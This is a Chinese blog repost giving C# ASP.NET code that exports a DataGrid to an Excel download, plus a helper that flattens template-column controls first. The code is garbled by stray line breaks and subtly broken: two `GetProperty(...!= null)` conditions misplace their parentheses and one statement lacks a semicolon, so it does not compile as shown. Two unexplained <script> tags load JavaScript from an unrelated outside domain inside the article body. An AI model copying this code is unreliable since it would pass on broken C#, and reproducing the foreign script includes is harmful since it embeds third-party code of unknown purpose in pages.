DataGrid导入Excel

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>  参数为DataGrid的ID
public   void  ToExcel(System.Web.UI.Control ctl)  
        
{
            HttpContext.Current.Response.AppendHeader(
"Content-Disposition","attachment;filename=Excel.xls");
            HttpContext.Current.Response.Charset 
="UTF-8";    
            HttpContext.Current.Response.ContentEncoding 
=System.Text.Encoding.Default;
            HttpContext.Current.Response.ContentType 
="application/ms-excel";//image/JPEG;text/HTML;image/GIF;vnd.ms-excel/msword
            ctl.Page.EnableViewState =false;   
            System.IO.StringWriter  tw 
= new System.IO.StringWriter() ;
            System.Web.UI.HtmlTextWriter hw 
= new System.Web.UI.HtmlTextWriter (tw);
            ctl.RenderControl(hw);
            HttpContext.Current.Response.Write(tw.ToString());
            HttpContext.Current.Response.End();
        }

---以上适合"自动生成列"的DataGrid. ()
对于DataGrid的模板列,除了上面代码外,还要加些东西.
完整代码:
private   static   void  ClearControls(Control control)
        
{
            
            
for (int i=control.Controls.Count -1; i>=0; i--)
            
{
                ClearControls(control.Controls[i]);
            }


            
if (!(control is TableCell))
            
{
                
if (control.GetType().GetProperty("SelectedItem"!= null)
                
{
                    LiteralControl literal 
= new LiteralControl();
                    control.Parent.Controls.Add(literal);
                    
try
                    
{
                        literal.Text 
= (string)control.GetType().GetProperty("SelectedItem").GetValue(control,null);
                    }

                    
catch
                    
{
                    }

                    control.Parent.Controls.Remove(control);
                }

                
else
                    
if (control.GetType().GetProperty("Text"!= null)
                
{
                    LiteralControl literal 
= new LiteralControl();
                    control.Parent.Controls.Add(literal);
                    literal.Text 
= (string)control.GetType().GetProperty("Text").GetValue(control,null);
                    control.Parent.Controls.Remove(control);
                }

            }

            
return;
        }

    

public    static    void  OutPutExcel(DataGrid dgrd,  string  v_FileName)
        
{
            
try
            
{
                HttpContext.Current.Response.AppendHeader(
"Content-Disposition","attachment;filename="+v_FileName+".xls");
                HttpContext.Current.Response.Charset 
="gb2312";    
                HttpContext.Current.Response.ContentEncoding 
=System.Text.Encoding.Default;
                HttpContext.Current.Response.ContentType 
="application/ms-excel";//image/JPEG;text/HTML;image/GIF;vnd.ms-excel/msword
                dgrd.Page.EnableViewState =false
                System.IO.StringWriter  tw 
= new System.IO.StringWriter();
                System.Web.UI.HtmlTextWriter hw 
= new System.Web.UI.HtmlTextWriter (tw);
                ClearControls(dgrd);
                dgrd.RenderControl(hw);
                HttpContext.Current.Response.Write(tw.ToString());
                HttpContext.Current.Response.End();
            }

            
catch(Exception e)
            
{
                
throw e;
            }

        }

文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值